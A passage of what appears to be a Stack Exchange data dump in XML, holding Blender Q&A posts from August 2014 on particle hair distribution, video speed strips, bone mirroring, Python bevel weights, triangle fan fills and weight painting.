noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-08-16T20:30:51.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15058" PostTypeId="2" ParentId="15044" CreationDate="2014-08-16T22:14:37.767" Score="6" Body="&lt;p&gt;So first I made a really messy mesh and added a Particle System with settings that shows dots instead of hair because this shows the uneven distribution more clearly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wYXIs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o1Zfj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I added a cube then applied a Sub-Surface Modifier with 3 iterations.   I also scaled it up so that it is completely outside of the mesh that it will be shrunk to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cqpHh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I used the Shrinkwrap Modifier to fit the new mesh to the messy one. You can already see that the particle distribution is much more even.  I also used the Make Links tool &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; -&gt; Modifiers to copy the hair particle system over to the new mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KBRVp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I kept the modifier on and activated it's button for &quot;Show Modifier while in Edit Mode&quot; and also &quot;Apply Modifier To Editing Cage during Edit Mode&quot;. They are right next to the Modifiers other visibility buttons.  Now I used the Smooth Vertex tool to even them out.  You can press &lt;kbd&gt;F6&lt;/kbd&gt; to bring up the interactive pop-up window for the Smooth Vertex tool and increase the number of iterations for smoothing until the extra sphere's quads are more even.  I also scaled this sphere using the Scale by Normals tool &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;s&lt;/kbd&gt; so that it would be slightly below the surface of the model the hair is being applied to but if I recall correctly, there is a way to make the hair proxy object invisible while keeping the hair itself visible, I'll look that up when I get back and edit this post if I find how to do that.(Unless someone else posts that first)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lJtP7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To finish it off, I subdivided the mesh one more time and set the Particle Emitter to Verts because Faces was leaving obvious clumps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RMPbT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-08-16T22:14:37.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15059" PostTypeId="2" ParentId="15042" CreationDate="2014-08-16T22:33:49.383" Score="4" Body="&lt;p&gt;In the VSE, the &quot;multiply speed&quot; value of a &quot;Speed&quot; effect strip &lt;strong&gt;can't be animated&lt;/strong&gt;. You'll have to :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uncheck the &quot;Stretch to input strip length&quot; box,&lt;/li&gt;&#xA;&lt;li&gt;check the &quot;Use as speed&quot; box,&lt;/li&gt;&#xA;&lt;li&gt;set the &quot;Speed Factor&quot; value to 1 (so the video will be played at normal speed)&lt;/li&gt;&#xA;&lt;li&gt;animate this value as you need:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;greater than 1, playback will be faster,&lt;/li&gt;&#xA;&lt;li&gt;between 0 and 1 the playback will be slower.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You may have to click the &quot;Refresh Sequencer&quot; button to see the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that the sound won't be affected by this effect strip. I don't know if you can time-remap a sound in Blender.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gmVuK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-08-16T22:33:49.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15060" PostTypeId="1" CreationDate="2014-08-16T22:52:55.687" Score="1" ViewCount="39" Body="&lt;p&gt;The question is vague, and I apologize for that. I don't know how to make the dot that has the transform tools, appear in the middle of the mesh like it is supposed to be. I would appreciate some assistance with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;the dot with the arrows below the object&lt;/sub&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7FeMG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5599" LastEditorUserId="2217" LastEditDate="2014-08-16T23:18:48.803" LastActivityDate="2014-08-16T23:18:48.803" Title="How to move object's origin to mesh?" Tags="&lt;objects&gt;&lt;transforms&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-08-17T00:14:25.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="15062" PostTypeId="1" AcceptedAnswerId="15063" CreationDate="2014-08-17T01:15:35.770" Score="21" ViewCount="89021" Body="&lt;p&gt;I can't find the bone mirror option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I used Blender about two years ago the mirror option was tucked away in the rig/object panels, but now I see no obvious options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I mirror bones in 2.7+?&lt;/p&gt;&#xA;" OwnerUserId="5631" LastEditorUserId="599" LastEditDate="2014-08-17T06:13:51.430" LastActivityDate="2019-02-08T05:56:12.607" Title="How to mirror a bone?" Tags="&lt;rigging&gt;&lt;mirror&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="15063" PostTypeId="2" ParentId="15062" CreationDate="2014-08-17T01:24:10.010" Score="19" Body="&lt;p&gt;Enter edit mode then hit &lt;kbd&gt;T&lt;/kbd&gt; to open the tools panel. under options, you will find a check box that says &lt;em&gt;X-Axis Mirror&lt;/em&gt;. Check it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AnnAM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This option will mirror actions performed on bones across the X axis. In order to set up a rig, simply give the bones a left or right side suffix (e.g. .R/.L, _R/_L or _right/_left…) and make sure the rest of the names match. Bones that are centered do not need a suffix, since they are not being mirrored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9MhUJ.gif&quot; alt=&quot;Gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-08-17T17:04:40.417" LastActivityDate="2014-08-17T17:04:40.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15065" PostTypeId="2" ParentId="15041" CreationDate="2014-08-17T07:31:10.350" Score="3" Body="&lt;p&gt;To zoom into your new objects you will want to deselect all at the start of your script, then ensure that each new object is selected as it is added. You may want to keep a list of each new object then select them when done, depending on what steps you use this may be the only way to have only new objects selected as some methods can alter the selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the new objects selected you can use &lt;code&gt;bpy.ops.view3d.view_selected()&lt;/code&gt; to zoom in on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;kbd&gt;numpad /&lt;/kbd&gt; that you ask about is local view which is available as &lt;code&gt;bpy.ops.view3d.localview()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the info window, I'm not certain of the exact criteria of what gets shown there as not everything shows. Most undoable actions and view changes show up, simple things like navigating the view don't. But then you can rename an object in the object properties and it shows but rename in the outliner and it doesn't.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-17T07:31:10.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15066" PostTypeId="1" AcceptedAnswerId="15087" CreationDate="2014-08-17T09:53:44.613" Score="3" ViewCount="935" Body="&lt;p&gt;I used to do animation but just started creating games using blender.&#xA;I am pretty sure my problem is minor but it would be a great help if you got assist me.&#xA;My problem is that i created an armature and a walk cycle and stand cycle.&#xA;My walk cycle has no problem in the game except for the stand cycle.&#xA;Means that , whenever i press w to walk front , it has the action of it ... but when i add another movement which the sensor is &quot;always&quot; (in the game logic )&#xA;Which the action will happen once my character stop walking .... but that is where the problem started . I press p to play and the stand action works well... but when i press &quot;W&quot; .... the character froze and didnt walk front ... I know that my explaination of my problems is not really understandable... but please take alook at this blend.file which my problem lies inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediafire.com/download/7c1ib6pfmxej7d6/walk+cycle.blend&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/download/7c1ib6pfmxej7d6/walk+cycle.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to blender game engine ... and press p . You will see my character standing with movement but once you press w ... it stop... i want it to move .. &#xA;My character can move front if i dele my stand action...&#xA;How to add both of it ??&#xA;Thx for reading and helping.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2014-08-17T13:40:24.500" LastActivityDate="2014-08-18T10:20:27.373" Title="Blender game engine movements" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15067" PostTypeId="1" AcceptedAnswerId="15071" CreationDate="2014-08-17T11:45:39.487" Score="2" ViewCount="1566" Body="&lt;p&gt;I need to set weights for some edges from a python script. I have tried looping through object.data.edges and setting bevel_weight values but I can't get it right. It only works if I have first edited some edge's bevel weight by hand from the 3d-view's transform window. But I would like to get it work from my script without any manual hacking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps to reproduce:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start Blender with default cube and switch to Scripting view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to set weights for all edges:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for edge in C.object.data.edges:&#xA;    edge.bevel_weight = 1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Verify that values changed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for edge in C.object.data.edges:&#xA;    edge.bevel_weight&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Switch into edit mode in 3d-view and open up transform window by pressing n. Select edges to see that the change did not work (bevel weights are all zero). Switch back to object mode and read values again in scripting console to see that they were reset to zero:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for edge in C.object.data.edges:&#xA;    edge.bevel_weight&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Go back to edit mode and change some edge bevel weight straight from the transform window by hand. Go back to object mode and change values again from the scripting console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for edge in C.object.data.edges:&#xA;    edge.bevel_weight = 1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This time it works, bevel weights are 1.0 when you go back to edit mode and look from the transform window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? My final need is to apply a bevel modifier to only some set of edges and that's why I'm trying to mark them by using weights. Using vertex group for bevel modifier does not work in my situation, since I need to specify edges, not vertices, which to bevel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender v2.71.&lt;/p&gt;&#xA;" OwnerUserId="5020" LastActivityDate="2014-08-17T16:32:39.333" Title="How to set edge bevel weights from a python script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;modifiers&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15068" PostTypeId="1" AcceptedAnswerId="15069" CreationDate="2014-08-17T12:05:48.963" Score="8" ViewCount="13541" Body="&lt;p&gt;When a cylinder is added to a scene &lt;em&gt;Triangle Fan&lt;/em&gt; fill type for the cap is provided in the last operator panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QfzT9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tool to use with a circle to fill it like triangle fan would do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Re2yY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternatives &lt;em&gt;Grid Fill&lt;/em&gt; and &lt;kbd&gt;F&lt;/kbd&gt; (n-gon) can't be used when the vertex in the center of the circle is required.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2019-08-13T18:57:32.677" Title="Can a circle be filled with a triangle fan?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15069" PostTypeId="2" ParentId="15068" CreationDate="2014-08-17T12:30:46.440" Score="19" Body="&lt;h2&gt;Create and poke face&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can do this with 2 operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;F&lt;/kbd&gt;, &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;F&lt;/kbd&gt; (creates a face)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; (poke face, creating a triangle fan)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See: Mesh -&gt; Face menu for both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note for Blender 2.80 users:&lt;/strong&gt; Shortcut for Poke Faces was removed and the menu entry relocated to Face -&gt; Poke Faces.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Extrude and merge edges&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;E&lt;/kbd&gt;, &lt;kbd&gt;Escape&lt;/kbd&gt;, &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;, &lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;E&lt;/kbd&gt; (Extrude)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; (Merge)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;A&lt;/kbd&gt; (Menu accelerator for the  &lt;em&gt;A&amp;#818;t Center&lt;/em&gt; option)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create face &amp;amp; Poke will assign UV's &amp;amp; vertex colors from surrounding faces &lt;em&gt;(the extrude method will simply extend UV's/colors, which may not be what you want)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Poke uses a more advanced method to calculate the face center point&lt;br&gt;(noticeable when edges aren't evenly spaced).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="74827" LastEditDate="2019-08-13T18:57:32.677" LastActivityDate="2019-08-13T18:57:32.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15070" PostTypeId="2" ParentId="5362" CreationDate="2014-08-17T14:13:19.990" Score="0" Body="&lt;p&gt;Looking for exactly the same problem, I found another solution (the dimus's answer is not working : &lt;code&gt;NameError: name 'area' is not defined&lt;/code&gt; ) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/6969/rotate-object-around-cursor-with-python/6970#6970&quot;&gt;Rotate object around cursor with Python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, with transform:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def get_override(area_type, region_type):&#xA;    for area in bpy.context.screen.areas: &#xA;        if area.type == area_type:             &#xA;            for region in area.regions:                 &#xA;                if region.type == region_type:                    &#xA;                    override = {'area': area, 'region': region} &#xA;                    return override&#xA;    #error message if the area or region wasn't found&#xA;    raise RuntimeError(&quot;Wasn't able to find&quot;, region_type,&quot; in area &quot;, area_type,&#xA;                        &quot;\n Make sure it's open while executing script.&quot;)&#xA;&#xA;&#xA;#we need to override the context of our operator    &#xA;override = get_override( 'VIEW_3D', 'WINDOW' )&#xA;&#xA;bpy.ops.transform.mirror(&#xA;    override,&#xA;    constraint_axis=(False, True, False),&#xA;    constraint_orientation='GLOBAL',&#xA;    proportional='DISABLED')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5640" LastEditorUserId="5640" LastEditDate="2014-08-17T15:00:19.070" LastActivityDate="2014-08-17T15:00:19.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15071" PostTypeId="2" ParentId="15067" CreationDate="2014-08-17T16:32:39.333" Score="5" Body="&lt;p&gt;There is no custom data layer for edge bevel weights by default. You need to explicitly enable it (this is done automatically if you use the &lt;em&gt;Edge Bevel Weight&lt;/em&gt; modal operator in the UI):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.context.object&#xA;me = ob.data&#xA;me.use_customdata_edge_bevel = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Furthermore, the mesh needs to be in &lt;em&gt;Object Mode&lt;/em&gt; when you apply a bevel weight:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ob.is_editmode:&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;me.edges[0].bevel_weight = 0.7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to avoid mode switching, you may use the bmesh module instead (&lt;code&gt;bm.edges.layers.bevel_weight&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-08-17T16:32:39.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15072" PostTypeId="1" AcceptedAnswerId="15073" CreationDate="2014-08-17T18:13:01.303" Score="1" ViewCount="2060" Body="&lt;p&gt;I need to modify an object (for example rotate it) in edit mode, thanks to a script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from math import pi&#xA;import bpy&#xA;&#xA;obj = bpy.data.objects['my_object']&#xA;# go into edit mode&#xA;bpy.context.scene.objects.active = obj&#xA;bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;&#xA;bpy.ops.transform.rotate(value=pi/2, axis=(False, False, True))&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT', toggle=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but no rotation is done. If I comment out :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# go into edit mode&#xA;#bpy.context.scene.objects.active = obj&#xA;#bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;&#xA;bpy.ops.transform.rotate(value=pi/2, axis=(False, False, True))&#xA;&#xA;#bpy.ops.object.mode_set(mode='OBJECT', toggle=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it's working but I want a modified object in edit mode, not in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(like you do in toggling &quot;tab&quot;, pressing &quot;r&quot; than the axis you want and rotate the object).&lt;/p&gt;&#xA;" OwnerUserId="5640" LastEditorUserId="5640" LastEditDate="2014-08-19T06:14:27.403" LastActivityDate="2014-08-19T06:14:27.403" Title="scripting: Modifying an object in edit mode" Tags="&lt;scripting&gt;&lt;transforms&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-08-18T16:29:29.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="15073" PostTypeId="2" ParentId="15072" CreationDate="2014-08-17T18:28:15.980" Score="2" Body="&lt;p&gt;Okay, I forgot to select all the mesh after toggling to edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's working now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from math import pi&#xA;import bpy&#xA;&#xA;obj = bpy.data.objects['my_obj']&#xA;# go into edit mode&#xA;bpy.context.scene.objects.active = obj&#xA;bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;bpy.ops.mesh.select_all(action='SELECT')&#xA;bpy.ops.transform.rotate(value=pi/2, axis=(False, False, True))&#xA;bpy.ops.object.mode_set(mode='OBJECT', toggle=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5640" LastActivityDate="2014-08-17T18:28:15.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15074" PostTypeId="2" ParentId="9152" CreationDate="2014-08-17T19:45:08.580" Score="1" Body="&lt;p&gt;In the latest version of Blender, right now it is 2.71, there is a selection called mesh in the collision tab. This seems to work very well for most active rigid body objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a tutorial by PHYMEC on YouTube addressing this very issue and he goes into great depth about the sphere of influence of an object on another object:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=BGAwRKPlpCw&amp;amp;list=UUSO_wccIgWaT7Zha99EZpEg&quot; rel=&quot;nofollow&quot;&gt;Great video on collisions for rigid bodies&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5642" LastEditorUserId="1363" LastEditDate="2014-08-17T20:18:30.433" LastActivityDate="2014-08-17T20:18:30.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15076" PostTypeId="1" AcceptedAnswerId="15103" CreationDate="2014-08-18T00:47:21.860" Score="6" ViewCount="15003" Body="&lt;p&gt;I have 100 book cover textures and I'd like to condense them into one material and have it randomly assign the textures to the books. I tried the random output found in the Object Info node but this only recognizes two of the textures. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5645" LastEditorUserId="3078" LastEditDate="2015-07-08T16:13:59.470" LastActivityDate="2021-05-11T22:12:21.490" Title="What is the easiest way to have a material randomize the Image textures it uses?" Tags="&lt;texturing&gt;&lt;materials&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="15077" PostTypeId="2" ParentId="15076" CreationDate="2014-08-18T00:50:36.823" Score="0" Body="&lt;p&gt;You could use a vector mapping node with random texture position values, so for 100 books you could do &lt;code&gt;((random value between 0 and 1) * 100 + 1) * x&lt;/code&gt;, and the same for y.&lt;/p&gt;&#xA;" OwnerUserId="5646" LastActivityDate="2014-08-18T00:50:36.823" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15078" PostTypeId="1" CreationDate="2014-08-18T02:43:06.690" Score="2" ViewCount="3600" Body="&lt;p&gt;For over half a year, this problem has kept me from progressing by any means. I just found out why weight painting wouldn't affect certain parts of my model. I would keep acting as if certain parts are all read with no gradient. It is this black section that is apparently called zero something. It's the black streak and in order to remove it's affects, you need to reduce the limit to zero. I did, and it was still there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Limit is on the bottom left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qdLP1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result of the black streak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V8TLp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I decided to paint over the black streak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KNhMh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Didn't fix anything. If not made it worse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wp3Fv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't do anything with my models. They all suffer from this problem, and no matter how many times I re-rig, this never goes away. Same problem happens with rigify. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;does ANYONE have a solution? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using 2.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To download the .blend. Let me know if it doesn't work.&#xA;&lt;a href=&quot;http://www.megafileupload.com/en/file/558769/RiggingProblem-blend.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.megafileupload.com/en/file/558769/RiggingProblem-blend.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three things about the .blend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: Deleted most of the model, except for the problem area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: I saved it so that once it opens, all you need to do is press R to rotate the selected    head in order to see the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3: The download button on the link makes you wait 15 seconds before being able to click it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You!&lt;/p&gt;&#xA;" OwnerUserId="5647" LastEditorUserId="5647" LastEditDate="2014-08-18T04:37:23.343" LastActivityDate="2020-06-09T20:12:11.057" Title="(Clean) weight paint black colour" Tags="&lt;rigging&gt;&lt;weight-painting&gt;" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15079" PostTypeId="1" AcceptedAnswerId="15276" CreationDate="2014-08-18T02:46:29.680" Score="2" ViewCount="1794" Body="&lt;p&gt;I have a mesh with some &lt;em&gt;&quot;faceless edges&quot;&lt;/em&gt;. &lt;strong&gt;Can freestyle render them?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="599" LastEditDate="2014-08-18T03:10:18.977" LastActivityDate="2018-09-14T01:42:06.250" Title="Can freestyle render edges with no face?" Tags="&lt;rendering&gt;&lt;freestyle&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15080" PostTypeId="2" ParentId="15078" CreationDate="2014-08-18T03:03:57.970" Score="2" Body="&lt;p&gt;You have Restrict enabled in the options tab(not 100% sure on this since I don't have a .blend). Restrict disables weight painting on vertices that are not in the current vertex group. To fix this, simply &lt;strong&gt;un-check restrict.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dRcIJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The black is a display of the non weighted vertices. to disable this, &lt;strong&gt;set &lt;em&gt;Show Zero Weights&lt;/em&gt; to &lt;em&gt;None&lt;/em&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o5nwq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-18T03:03:57.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15081" PostTypeId="1" AcceptedAnswerId="15101" CreationDate="2014-08-18T06:48:17.487" Score="0" ViewCount="8150" Body="&lt;p&gt;Let's say I have a texture with 1x1 size, and then a surface with a relative 10x10 size (think floor). How do I make the texture repeat over the surface so that the texture is not stretched over the whole surface, but tiles itself perfectly in the original size 100 times? Using 2.71.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should add that I will need to use this in SceneKit (iOS/OS X), and thus will export to COLLADA. It must work in SceneKit; not only inside Blender.&lt;/p&gt;&#xA;" OwnerUserId="5437" LastEditorUserId="5437" LastEditDate="2014-08-19T01:16:02.283" LastActivityDate="2014-08-19T02:12:42.883" Title="How to repeat texture across surface (must work in SceneKit/iOS/OS X)" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
